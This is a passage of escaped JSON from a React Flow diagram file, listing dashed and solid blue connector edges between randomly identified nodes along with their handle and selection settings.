},\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0rHDUbAdXqH9zQW2VfJ8v\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"agtPWS8j6i6wQPk10cy8E\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0rHDUbAdXqH9zQW2VfJ8vy2-agtPWS8j6i6wQPk10cy8Ez1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0rHDUbAdXqH9zQW2VfJ8v\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Z-srOhYFGVEKDexlJ6cjt\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0rHDUbAdXqH9zQW2VfJ8vy2-Z-srOhYFGVEKDexlJ6cjtz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0rHDUbAdXqH9zQW2VfJ8v\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"9Dt4Gyiiq5jteWSKxsRMK\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0rHDUbAdXqH9zQW2VfJ8vy2-9Dt4Gyiiq5jteWSKxsRMKz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0rHDUbAdXqH9zQW2VfJ8v\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"eFf2fesrs-1aVM5tH3ORQ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0rHDUbAdXqH9zQW2VfJ8vy2-eFf2fesrs-1aVM5tH3ORQz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"d_GNnB6PBINz1jxGNWAE-\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"C1ai9r31b7HPySw0o9tyT\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-d_GNnB6PBINz1jxGNWAE-z2-C1ai9r31b7HPySw0o9tyTy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"C1ai9r31b7HPySw0o9tyT\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"xLB2fhsOm0Vu3xg_PusJB\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-C1ai9r31b7HPySw0o9tyTw2-i3AbARgzQtxtlB-1AS8zvx1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"C1ai9r31b7HPySw0o9tyT\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"pJ-najh7dXhhYA_0bDiR5\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-C1ai9r31b7HPySw0o9tyTx2-i3AbARgzQtxtlB-1AS8zvw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"x6eILrLCQrVpz4j8uOuy6\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"8lXXVFkgK6n5IHaYkYe3l\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-x6eILrLCQrVpz4j8uOuy6z2-8lXXVFkgK6n5IHaYkYe3ly1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"x6eILrLCQrVpz4j8uOuy6\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"r-u1vTpUyuvsB0revOU0C\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-x6eILrLCQrVpz4j8uOuy6z2-r-u1vTpUyuvsB0revOU0Cy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"C1ai9r31b7HPySw0o9tyT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"D2WIExwfSnkAPIa5O-Hp5\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-C1ai9r31b7HPySw0o9tyTz2-D2WIExwfSnkAPIa5O-Hp5y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"D2WIExwfSnkAPIa5O-Hp5\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"yMx3LdadPz4g25CL3N8da\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-D2WIExwfSnkAPIa5O-Hp5x2-yMx3LdadPz4g25CL3N8daw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yMx3LdadPz4g25CL3N8da\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"DzFJDdqnSy5GeGHWOpcVo\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-yMx3LdadPz4g25CL3N8day2-DzFJDdqnSy5GeGHWOpcVoz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DzFJDdqnSy5GeGHWOpcVo\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"q0zy_hXav5iXw8LpGVJVd\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-DzFJDdqnSy5GeGHWOpcVox2-q0zy_hXav5iXw8LpGVJVdw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DzFJDdqnSy5GeGHWOpcVo\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"hes8XQqAvpxWITcbU9tiH\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DzFJDdqnSy5GeGHWOpcVoy2-hes8XQqAvpxWITcbU9tiHz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hes8XQqAvpxWITcbU9tiH\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"X9K3PBpGsMoXkJsKdJPI7\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-hes8XQqAvpxWITcbU9tiHw2-X9K3PBpGsMoXkJsKdJPI7x2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hes8XQqAvpxWITcbU9tiH\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"zen3RRdK9_nPAYgicRoHk\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-hes8XQqAvpxWITcbU9tiHx2-iFJBF-EEnLjQVsFSXjo_iw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zen3RRdK9_nPAYgicRoHk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"lXC07j6dOa3rQixY1P-Ob\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iy2-lXC07j6dOa3rQixY1P-Obz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zen3RRdK9_nPAYgicRoHk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"V8nLIvddyOKTzEjOJX5GW\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iy2-V8nLIvddyOKTzEjOJX5GWz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zen3RRdK9_nPAYgicRoHk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0cLf7FiI9CX--UX45sm2f\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iy2-0cLf7FiI9CX--UX45sm2fz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zen3RRdK9_nPAYgicRoHk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qFEonbCMLri8iA0yONwuf\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iy2-qFEonbCMLri8iA0yONwufz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zen3RRdK9_nPAYgicRoHk\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0Yi4cryT2v2SGBjouOas3\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-zen3RRdK9_nPAYgicRoHkx2-iFJBF-EEnLjQVsFSXjo_iw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0Yi4cryT2v2SGBjouOas3\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"igrR7LguU1jemg_mf_AD6\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iy2-igrR7LguU1jemg_mf_AD6z2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"igrR7LguU1jemg_mf_AD6\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"V_joZNpQsS9G9PI-o-GmC\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-igrR7LguU1jemg_mf_AD6y2-V_joZNpQsS9G9PI-o-GmCz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"igrR7LguU1jemg_mf_AD6\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qis7Z5VRxMcOmbesQlegZ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-igrR7LguU1jemg_mf_AD6y2-qis7Z5VRxMcOmbesQlegZz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"igrR7LguU1jemg_mf_AD6\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Uc7FyfAKpDFRGRNHwztFo\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-igrR7LguU1jemg_mf_AD6y2-Uc7FyfAKpDFRGRNHwztFoz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0Yi4cryT2v2SGBjouOas3\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"-0zQvCHG8jS_ghSjmTeIx\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-0Yi4cryT2v2SGBjouOas3z2-iFJBF-EEnLjQVsFSXjo_iy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-0zQvCHG8jS_ghSjmTeIx\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Rwpeltygwzcf6hnuZNURE\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iz2-Rwpeltygwzcf6hnuZNUREy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-0zQvCHG8jS_ghSjmTeIx\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"O-zoAWkDvyn7B8_TmY257\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iz2-O-zoAWkDvyn7B8_TmY257y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-0zQvCHG8jS_ghSjmTeIx\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"mzjtCdpke1ayHcEuS-YUS\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iz2-mzjtCdpke1ayHcEuS-YUSy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-0zQvCHG8jS_ghSjmTeIx\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"uxqJzQFRcALqatNRIWR0w\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iz2-uxqJzQFRcALqatNRIWR0wy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-0zQvCHG8jS_ghSjmTeIx\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sOoC-XxEoIvwKct00oKlX\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge--0zQvCHG8jS_ghSjmTeIxx2-iFJBF-EEnLjQVsFSXjo_iw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"sOoC-XxEoIvwKct00oKlX\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NjPnEXLf1Lt9qzgxccogv\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iz2-NjPnEXLf1Lt9qzgxccogvy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"sOoC-XxEoIvwKct00oKlX\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"HMEfUFNu_Wp_Pac7VWHr-\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iz2-HMEfUFNu_Wp_Pac7VWHr-y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"sOoC-XxEoIvwKct00oKlX\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"BKVA6Q7DXemAYjyQOA0nh\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iz2-BKVA6Q7DXemAYjyQOA0nhy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"sOoC-XxEoIvwKct00oKlX\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"OQOmxg9mCfcjt80hpvXkA\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iz2-OQOmxg9mCfcjt80hpvXkAy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"sOoC-XxEoIvwKct00oKlX\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"iFJBF-EEnLjQVsFSXjo_i\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-sOoC-XxEoIvwKct00oKlXx2-iFJBF-EEnLjQVsFSXjo_iw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iFJBF-EEnLjQVsFSXjo_i\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NeU38WPbEphJuJ_AMkH82\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iz2-NeU38WPbEphJuJ_AMkH82y1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iFJBF-EEnLjQVsFSXjo_i\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"E3HAGNM-kXLL4Oci5JzpQ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iz2-E3HAGNM-kXLL4Oci5JzpQy1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iFJBF-EEnLjQVsFSXjo_i\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"62E1tDMXB6K74OEN0WsS0\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iz2-62E1tDMXB6K74OEN0WsS0y1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iFJBF-EEnLjQVsFSXjo_i\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YmnTrjJtqHPXbEVrP8vd7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iz2-YmnTrjJtqHPXbEVrP8vd7y1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iFJBF-EEnLjQVsFSXjo_i\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"pqBV7BMAs0z6qpfZeW2XP\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iFJBF-EEnLjQVsFSXjo_iy2-sFf1PdFfmEdQxsEntfeFqz2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pqBV7BMAs0z6qpfZeW2XP\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"e5O8lUSSEOEFR-dlZV5wN\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-sFf1PdFfmEdQxsEntfeFqw2-e5O8lUSSEOEFR-dlZV5wNx1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pqBV7BMAs0z6qpfZeW2XP\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"v7uabKuMQPOD_hBIaHOVT\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-sFf1PdFfmEdQxsEntfeFqx2-v7uabKuMQPOD_hBIaHOVTw2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fjAFNjNNbPOzme9Uk_fDV\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"x4bnsPVTiX2xOCSyrgWpF\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-fjAFNjNNbPOzme9Uk_fDVw2-x4bnsPVTiX2xOCSyrgWpFx1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h9cf_dh_pwjialOXOlNW-\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"AmetdCURXXob5TUsikAab\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-h9cf_dh_pwjialOXOlNW-z2-AmetdCURXXob5TUsikAaby2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": 